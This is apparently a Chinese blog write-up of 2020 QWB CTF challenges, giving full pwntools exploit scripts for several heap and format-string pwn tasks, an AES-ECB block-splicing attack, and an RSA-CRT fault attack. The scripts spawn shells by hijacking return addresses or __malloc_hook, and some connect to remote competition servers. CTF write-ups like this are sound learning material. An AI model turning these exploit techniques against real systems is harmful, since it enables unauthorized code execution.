2020_QWB

字数统计: 3.4k字   |   阅读时长≈ 17分

这几天比赛太多了，欠了很多题都还没来得及做，后面慢慢一个一个做吧。还有就是很多题平时做得太慢了，导致比赛的时候很多题被队里的大佬很快就做了，我无题可做了。说明基础还是不够牢，需要更深入的理解原理。

Siri

很典型的格式化字符串题目。基本上各种保护都开启了。所以这里采用将 ret地址修改为 one_gadget地址来getshell。

所以需要先泄露 Libc地址和栈地址，来得到 one_gadget地址和 ret 地址。

泄露地址，libc地址选择泄露 __libc_main_start。栈地址这里选取 格式化输出第七个参数，因为他的值与ret地址仅相差 0x8。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')

#p = process('./Siri')
p = remote('123.56.170.202', 12124)
elf = ELF('./Siri')
libc= ELF('./libc.so.6')
#libc = ELF('./libc')

libc_start_main_offset = 231
gadgets_off = 0x4f365

#gdb.attach(p, 'b *$rebase(0x12B1)')
p.recvuntil('>>> ')
p.sendline('Hey Siri!')
p.recvuntil('>>> ')
payload = 'Remind me to '+'a'*5 +'%83$p'+'b'*3+'%7$p'
p.sendline(payload)

data = p.recvuntil('a'*5)
data = p.recvuntil('b'*3)
start_addr = data[2:-3]#= u64(data[2:-3])
print start_addr

libc_start_main_addr = int(start_addr,16) - libc_start_main_offset
stack_addr = p.recvuntil('\n')
print stack_addr

libc_base = libc_start_main_addr - libc.symbols['__libc_start_main']
gadget_addr = libc_base + gadgets_off
print 'libc_base',hex(libc_base)
print 'gadgets_addr:',hex(gadget_addr)
ret_addr = int(stack_addr,16)-0x8
print 'ret:',hex(ret_addr)

#change one_gadget
lowAddr = gadget_addr & 0xffffffff
highAddr = gadget_addr >> 32
addr1 = lowAddr & 0xffff
addr2 = lowAddr >> 16
addr3 = highAddr

payload = "%"+str(addr1-30)+"c%60$hn"
payload += "%"+str((addr2-addr1)&0xffff)+"c%61$hn"
payload += "%"+str((addr3-addr2)&0xffff)+"c%62$hn"
payload = payload.ljust(0x50,'\x00')
payload += p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4)

#gdb.attach(p, 'b *$rebase(0x12B1)')
payload1 = 'Remind me to '+'a'*3+ payload
p.recvuntil('>>> ')
p.sendline('Hey Siri!')

#gdb.attach(p, 'b *$rebase(0x12B1)')
p.recvuntil('>>> ')
p.sendline(payload1)

p.interactive()

baby_note

程序分析

image-20200919160226404

在 register 函数里，由于使用了strcpy 函数，存在一个 off-by-one 漏洞，因为 v2即age 和 name 是连着的，可以使用 age 覆盖后一个堆块的 size 位。

可以利用 chunk overlap 实现getshell。

利用分析

  1. 首先需要泄露 Libc 地址

这里，可以使用unsortedbin 来泄露 main_arena+88 的地址，然后得到 malloc_hook 地址 和 gadget 地址。

  1. 覆盖prev_inuse 位，构造chunk overlap

我们可以构造 chunk1， chunk2，chunk3，其中chunk1大小为0x20且为 freed，当执行 register 再次申请 name 时可以修改chunk2 的 size位为 chunk2+chunk3。再释放 chunk2时，就会合并整个chunk2 和 chunk3。再次 申请 大小为 chunk2 和 chunk3 大小的 chunk 就可以实现 堆覆盖 chunk3。

  1. 覆盖malloc_hook，getshell

实现 堆覆盖后，就可以通过fastbin attack来伪造堆块到 malloc_hook，实现 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug == 1:
    p = process('./babynotes')
    elf = ELF('./babynotes')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
main_arena_offset = 0x3c4b20
def Add(idx, size):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Input index: \n')
    p.sendline(str(idx))
    p.recvuntil('Input note size: \n')
    p.sendline(str(size))

def show(idx):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('Input index: \n')
    p.sendline(str(idx))

def Edit(idx, content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('Input index: \n')
    p.sendline(str(idx))
    p.recvuntil('Input your note: \n')
    p.sendline(content)

def Delete(idx):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('Input index: \n')
    p.sendline(str(idx))

def Register(name, motto, age):
    p.recvuntil('>> ')
    p.sendline('5')
    p.recvuntil('Input your name: \n')
    p.send(name)
    p.recvuntil('Input your motto: \n')
    p.send(motto)
    p.recvuntil('Input your age: \n')
    p.sendline(str(age))

def check():
    p.recvuntil('>> ')
    p.sendline('6')

def pwn():
    p.recvuntil('Input your name: \n')
    p.sendline('a')
    p.recvuntil('Input your motto: \n')
    p.sendline('b')
    p.recvuntil('Input your age: \n')
    p.sendline(str(10))

    Add(0, 0x90)
    Add(1, 0x18)
    Add(2, 0x60)

    Delete(0)
    Add(0, 0x90)
    show(0)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = libc_addr - main_arena_offset
    print 'libc_base:',hex(libc_base)

    gadget = gadgets[0] + libc_base
    print 'gadget:',hex(gadget)
    fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23
    print 'fake_chunk:',hex(fake_chunk)

    Add(3, 0x60)
    Add(4, 0x60)

    Delete(1)
    gdb.attach(p)
    payload = 'a'*0x18
    Register(payload, 'b', '\xe1')
    Delete(2)
    Add(2, 0xd0)
    Delete(3)
    payload = 'a'*0x68 + p64(0x71)+ p64(fake_chunk)
    Edit(2, payload)
    Add(3, 0x60)
    Add(5, 0x60)
    payload = 'a'*0x13 + p64(gadget)
    Edit(5, payload)
    Delete(0)

    Add(0, 0X60)

    p.interactive()

pwn()

easy_pwn

程序分析

image-20200919203256697

可以看到在读取用户输入时，存在一个 off-by-null 漏洞，可以 利用 chunk_overlap 来造成堆重复利用，可以伪造 UAF 漏洞。

image-20200921105517290

调用了 mallopt 函数，导致 Max_fast 设置为了 0x10，也就是没有fastbin了，所以需要先去修改 global_max_fast 大小。

利用分析

  1. 构造 chunk overlap

先申请4个块 大小都为0x68，在申请第5 个块大小为 0xf8，最后通过 off-by-null 修改 第五个块的 pre_inuse 位。最后释放第1 个块和 第5 个块。那么系统将会把 5个块全部合并到一个 unsortedbin 内，那么我们就相当于可以实现 第2 、3、4 块的 UAF。重新申请3个块，那么3个块的 fd 和 bk 指针都含有 main_arena+88 的地址。

  1. 修改 global_max_fast

使用之前构造的 UAF 即可修改 unsrotedbin 的 bk 指针的 后两位为 global_max_fast 的偏移-0x10，再分配 整个unsortedbin ，那么 系统会 修改 global_max_fast 的值为 main_arena+88 的值。

  1. 泄露 libc 地址

由于修改了 global_max_fast 的值，那么以后释放的所有块都会进入 fastbin 中。那么可以执行 fastbin attack，先 释放两个块 2、1，随后使用 UAF 漏洞修改 块1 的 fd 指针指向 块0，修改 块0 的 fd 指针的后两位为 IO_2_1_stdout 的值。那么即可成功将堆块伪造到 IO_2_1_stdout 结构内，修改该结构，即可泄露 libc 地址。

  1. 最后再通过 fastbin attack，修改 malloc_hook 为 gadget 地址，即可 getshell.

注意： 修改 IO_2_1_stdout 结构体后，程序输出 时 没有 ‘\n’ 了，原因我还不太清除，希望有师傅能告诉我。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug == 1:
    p = process('./easypwn')
    elf = ELF('./easypwn')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

global_max_fast = "\xe8\x37"
gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
def add(size):
    p.recvuntil('Your choice:\n')
    p.sendline('1')
    p.recvuntil('size:\n')
    p.sendline(str(size))

def edit(idx, content): 
    p.recvuntil('Your choice:\n')
    p.sendline('2')
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
    p.recvuntil('content:\n')
    p.sendline(content)

def edit2(idx, content): 
    p.recvuntil('Your choice:\n')
    p.sendline('2')
    p.recvuntil('idx:\n')
    p.sendline(str(idx))
    p.recvuntil('content:\n')
    p.send(content)

def delete(idx):
    p.recvuntil('Your choice:\n')
    p.sendline('3')
    p.recvuntil('idx:\n')
    p.sendline(str(idx))

def pwn():
    add(0x68)   #0 chunk0
    add(0x68)   #1
    add(0x68)   #2
    add(0x68)   #3
    add(0xf8)   #4
    add(0x68)   #5
    add(0x68)   #6
    #gdb.attach(p)
    delete(0)
    payload = 'a'*0x60 + p64(0x70*4)
    edit2(3, payload)
    delete(4)   

    add(0x68)   #0 chunk0
    add(0x68)   #4 chunk1
    add(0x68)   #7 chunk2
    edit(3, 'a'*8+global_max_fast)
    #gdb.attach(p)
    add(0x168)   #6 chunk2
    print 'global_max_fast has been changed'

    delete(2)   #chunk2
    delete(4)   #chunk1
    #gdb.attach(p)
    edit(1, '\x00')
    edit(0, '\xdd\x25')
    add(0x68)   #2 chunk1
    add(0x68)   #4 chunk0
    payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    add(0x68) #9 fake_chunk
    #gdb.attach(p)
    edit(9, payload)

    IO_stderr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) -192
    libc_base = IO_stderr - libc.sym['_IO_2_1_stderr_']
    gadget = gadgets[2] + libc_base
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    fake_chunk = malloc_hook - 0x23
    print 'IO_stderr:',hex(IO_stderr)
    print 'libc_base',hex(libc_base),'gadget:',hex(gadget)
    print 'malloc_hook:',hex(malloc_hook),'fake_chunk:',hex(fake_chunk)

    #delete(0)
    #p.recvuntil('Your choice:\n')
    p.sendline('3')
    p.recvuntil('idx:')
    p.sendline(str(0))

    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('idx:')
    p.sendline(str(1))
    #delete(1)
    #gdb.attach(p)
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('idx:')
    p.sendline(str(2))
    p.recvuntil('content:')
    #gdb.attach(p)
    p.sendline(p64(fake_chunk))
    #edit(2, p64(fake_chunk))
    #gdb.attach(p)
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('size:')
    p.sendline(str(0x68))
    #add(0x68)   #0 chunk1
    #add(0x68)   #1 fake_chunk 
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('size:')
    p.sendline(str(0x68))

    payload = 'a'*0x13 + p64(gadget)
    #edit(1, payload)
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('idx:')
    p.sendline(str(1))
    p.recvuntil('content:')
    p.sendline(payload)

    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('size:')
    p.sendline(str(0x68))

    p.interactive()

#pwn()
i = 0
while 1:
    i += 1
    log.warn(str(i))
    try:
        pwn()
    except Exception:
        p.close()
        p = process('./easypwn')
        continue

Just_a_Galgame

程序分析

image-20200920164800537

在case 2中，read函数可以溢出 0x8字节，同时如果输入的 idx 过大，也会溢出整个数组。

所以，可以利用该溢出，使用 House of orange 修改 top chunk 的size，然后利用 unsortedbin 泄露Libc 地址。

image-20200920165031043

然后 可以利用case 5 ，写入 malloc_hook 的地址，然后再利用case 2的 数组溢出 修改 malloc_hook 为 one_gadget 地址。

利用分析

  1. 泄露libc 地址

泄露 Libc 地址，使用 house of orange 中 unsortedbin攻击。先 申请一个 0x68堆块，在使用 溢出修改 top chunk 的 size，再 申请一个 0x68 堆块，此时该堆块就有 main_arena 数组中的地址，然后再 打印该堆块，泄露地址。

  1. 数组溢出修改 malloc_hook

先向 bss 中 写入 malloc_hook 的地址，然后再 利用数组溢出，去修改 malloc_hook 的值 为 gadget地址，即可 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug:
    p = process('./Just_a_Galgame')
    elf = ELF('./Just_a_Galgame')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

list_addr = 0x404060
fake_addr = 0x4040a0
gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
def Send():
    p.recvuntil('>> ')
    p.sendline('1')

def Invite(idx, content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('idx >> ')
    p.sendline(str(idx))
    p.recvuntil('movie name >> ')  
    p.send(content)

def Confess():
    p.recvuntil('>> ')
    p.sendline('3')

def Collection():
    p.recvuntil('>> ')
    p.sendline('4')

def Leave(content):
    p.recvuntil('>> ')
    p.sendline('5')
    p.recvuntil('while? QAQ\n')
    p.sendline(content)    

def pwn():
    Send()
    payload = 'a'*0x8 + p64(0xf91)
    Invite(0, payload)
    #gdb.attach(p)
    Confess()
    Send()
    Collection()
    main_arena_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x668
    print 'main_arena_addr:',hex(main_arena_addr)
    libc_base = main_arena_addr - 0x3c4b20
    malloc_hook = main_arena_addr - 0x10
    gadget = gadgets[3] + libc_base
    print 'libc_base:',hex(libc_base)
    print 'malloc_hook:',hex(malloc_hook)
    print 'gadget:',hex(gadget)
	#修改 malloc_hook
    Leave(p64(malloc_hook-0x60))
    num = (fake_addr - list_addr) / 8
    Invite(num, p64(gadget))

    Send()
    p.interactive()

pwn()

Direct

程序分析

image-20200921212907418

程序在 edit 函数中，如果 输入的 offset 为负数，那么则可以实现 前向写 任意地址。

image-20200921213040479

此外，在 output_dir 函数中，会输出 dirp 堆块中的 数据，如下图所示，可以看到 v1+0x13 的地址是在 dirp 结构体中的数据，如果我们能够修改该处 的数据为 main_arena+88 的地址，那么即可泄露 Libc 地址。

image-20200923083548563

image-20200923083633080

利用分析

  1. 伪造 chunk overlap

由于存在一个前向写，可以申请 2个 chunk 和一个 dir 结构体，随后修改第一块的堆头，使他 size 包含 2个chunk 和 dir 结构体的大小。随后释放 第一个 chunk ，即可合并 2 个 chunk 和 一个 dir 结构体。

  1. 使用堆重复修改 dir 结构体

经过上面分析，知道可以输出 dir 结构体中的内容，所以可以 分配堆块到 dir 结构体中，修改dir结构体中的数据，随后利用输出 泄露 Libc 地址。

  1. 使用 fastbin attack getshell

最后，使用 fastbin attack 在 malloc_hook 处伪造堆块分配，随后修改 malloc_hook 的值 为 one_gadget地址，即可 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

debug = 1
if debug ==  1:
    p = process('./direct')
    elf = ELF('./direct')
    libc = ELF('./libc-2.27.so')
else:
    libc = ELF('./libc-2.27.so')

gadgets= [0x4f3d5, 0x4f432, 0x10a41c]
def add(idx, size):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))

def edit(idx, offset, size, content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Offset: ')
    p.sendline(str(offset))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(content)

def delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('3')    
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def opendir():
    p.recvuntil('Your choice: ')
    p.sendline('4')

def outputdir():
    p.recvuntil('Your choice: ')
    p.sendline('5')

def pwn():
    add(0, 0x18)
    add(1, 0x18)
    opendir()
    add(2, 0x18)
    edit(0, -8, 8, p64(0x8081))
    outputdir()
    delete(0)

    add(10,0x18) # 10
    add(3,0x78) # 3
    add(4,0x88) # 4
    edit(4,-8,8,'b' * 8)
    outputdir()

    p.recvuntil('b' * 5)
    libcbase_addr = u64(p.recv(6) + '\x00\x00') + 0x7ffff79e4000-0x7ffff7dcfca0 
 
    print hex(libcbase_addr)
    malloc_hook = libcbase_addr + libc.sym['__malloc_hook']
    gadget = gadgets[2] + libcbase_addr
    print 'malloc_hook:',hex(malloc_hook)
    print 'gadget:',hex(gadget)
    #gdb.attach(p)
    delete(1)
    edit(3, 0, 8, p64(malloc_hook))
    add(5, 0x78)
    add(6, 0x78)
    edit(6, 0, 8, p64(gadget))

    add(7, 0x68)

    p.interactive()

pwn()

OldSchool

程序分析

利用分析

EXP

bank

密码学，初看有点像智能合约。但是其实也是一个 密码学攻击。题目只要给一个合法的交易密文值，就能实现转账。所以，为了给自己账户转账，我们需要伪造一个交易hash。这个hash值是通过 AES ECB算法实现。所以ECB攻击。可以直接将分块的密文组合得到全新的密文。

首先从 已存在的交易密文中，截取 sender 和 amount两个量的密文值，再与我们自己的账户 的 receiver 密文值组合就行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import hashlib
import string
context.log_level = 'debug'

p = remote('39.101.134.52', 8005)
teamtoken = 'icqee4944f7c2c08186af5257d866228'

records = []
amounts = []

def brute(salt, ha):
    m = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    for i1 in m:
        for i2 in m:
            for i3 in m:
                if hashlib.sha256(i1+i2+i3+salt).hexdigest() == ha:
                    print i1+i2+i3
                    return i1+i2+i3

def getCipher(data):
    sender = data[0:31]
    receiver = data[32:63]
    amount = data[64:95]
    re = receiver+sender+sender

def transact(recv, n):
    p.recvuntil(', hint\n')
    p.sendline('transact')
    p.recvuntil('(for example:Alice 1)\n')
    payload = str(recv)+ ' '+str(n)
    p.sendline(payload)

def provide(trans):
    p.recvuntil('get flag, hint\n')
    p.sendline('provide a record')
    p.recvuntil('get the money.\n')
    p.recvuntil('> ')
    p.sendline(trans)

def getRecord():
    p.recvuntil('get flag, hint\n')
    p.sendline('view records')
    p.recvuntil('more than 100\n')
    data = p.recvuntil('your cash:10\n')
    x = data.split('\n')
    for i in x:
        receiver = i[0:32]
	amo = i[64:96]
	print 'receiver:',receiver
	print 'amo:',amo
        records.append(receiver)
	amounts.append(amo)

def getFlag():
    p.recvuntil('get flag, hint\n')
    p.sendline('get flag')    

data = p.recvuntil('Give')
print data
salt,hs = data.split('==')
salt = salt[11:-2]
hs = hs[1:-5]
print 'salt:',salt,len(salt),'hs:',hs,len(hs)

cip = brute(salt, hs)

p.sendline(cip)
p.recvuntil('teamtoken:')
p.sendline(teamtoken)
p.recvuntil('give me your name:')
p.sendline('1')

getRecord()

receiver = 'a'
amount = 1
transact(receiver, amount)
data = p.recvuntil('\n')
sender = data[2:34]
#print 'sender:',sender
receiver = data[32:63]
amount = data[64:95]

for i in range(10):
    payload = records[i]+sender+amounts[i]
    print 'payload:',payload
    provide(payload)

getFlag()

p.interactive()

baby_crt

从题目中的给的算法可以看到是 RSA-CRT签名算法，然后了解了一下针对这种算法的攻击。有一种签名故障攻击，可以通过计算

gcd(pow(m,f(c1)) - pow(f(sig),e,n)n)，来计算出 n 的一个因子。然后解到 n 的两个素因子p和q。

这个签名算法的错误点如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
def sign(m, params):
 d, p, q, n, t1, t2, e1, e2 = params
 dp = d % ((p - 1) * (t1 - 1))
 dq = d % ((q - 1) * (t2 - 1))
 k = getPrime(16)
 Sp = pow(m + k, dp, p * t1) # fault，这⼀步就错了，多加了个k
 Sq = pow(m, dq, q * t2)
 Cp = q * t2 * libnum.invmod(q * t2, p * t1)
 Cq = p * t1 * libnum.invmod(p * t1, q * t2)
 S = (Cp * Sp + Cq * Sq) % (n * t1 * t2)
 c1 = (m - pow(S, e1, t1) + 1) % t1 #受了影响，范围为（1，t1-1）
 c2 = (m - pow(S, e2, t2) + 1) % t2 #⽆影响
 return pow(S, c1 * c2, n)

我们需要爆破的值为就是 t1，其由 getprime(16) 生成，范围为（1，65535）。最终的攻击EXP如下：

1
2
3
4
5
def cal():
 for i in range(1,65535):
 temp = pow(m, i, n) - pow(sig,e,n)
 x = math.gcd(temp,n)
 if x != 1: print(x)

最终，能够得到n 的两个素因数。

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing